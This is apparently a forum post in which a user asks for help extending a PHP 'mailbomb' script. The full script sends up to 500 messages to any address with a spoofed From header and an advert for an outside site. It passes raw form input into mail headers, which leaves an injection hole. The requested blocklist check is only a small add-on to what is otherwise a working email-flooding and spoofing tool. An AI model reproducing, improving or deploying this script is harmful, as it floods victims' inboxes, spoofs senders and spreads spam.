i have the following script. But for security i wanna have it check the to and from emails aginst a txt document ful of email adress. and if found in the txt then dont send it.
<?php
$email = $_POST["email"];
$subject = $_POST["subject"];
$message = $_POST["message"];
$from = $_POST["from"];
if (!isset($_POST['submit']))
{
echo '
<form action="" method="POST">
To persons email: <input type="text" name="email"><br>
Subject: <input type="text" name="subject"><br>
Message: <input type="text" name="message"><br>
From: <input type="text" name="from"><br>
repeat: <input type="text" name="repeat"><br>
<input type="submit" name="submit" value="submit">
</form>
';
}
else
{
if (is_numeric($_POST['repeat']) && $_POST['repeat'] <= 500)
{
for ($i = 1; $i <= $_POST['repeat']; $i++) {mail("$email","$subject","$message\r\nRemember to checkout hvc.krrose27.com to get acess to some awsome stuff like this mailbomb!!","From: $from");}
}
else
{
echo 'invalid repeat count';
}
}
?>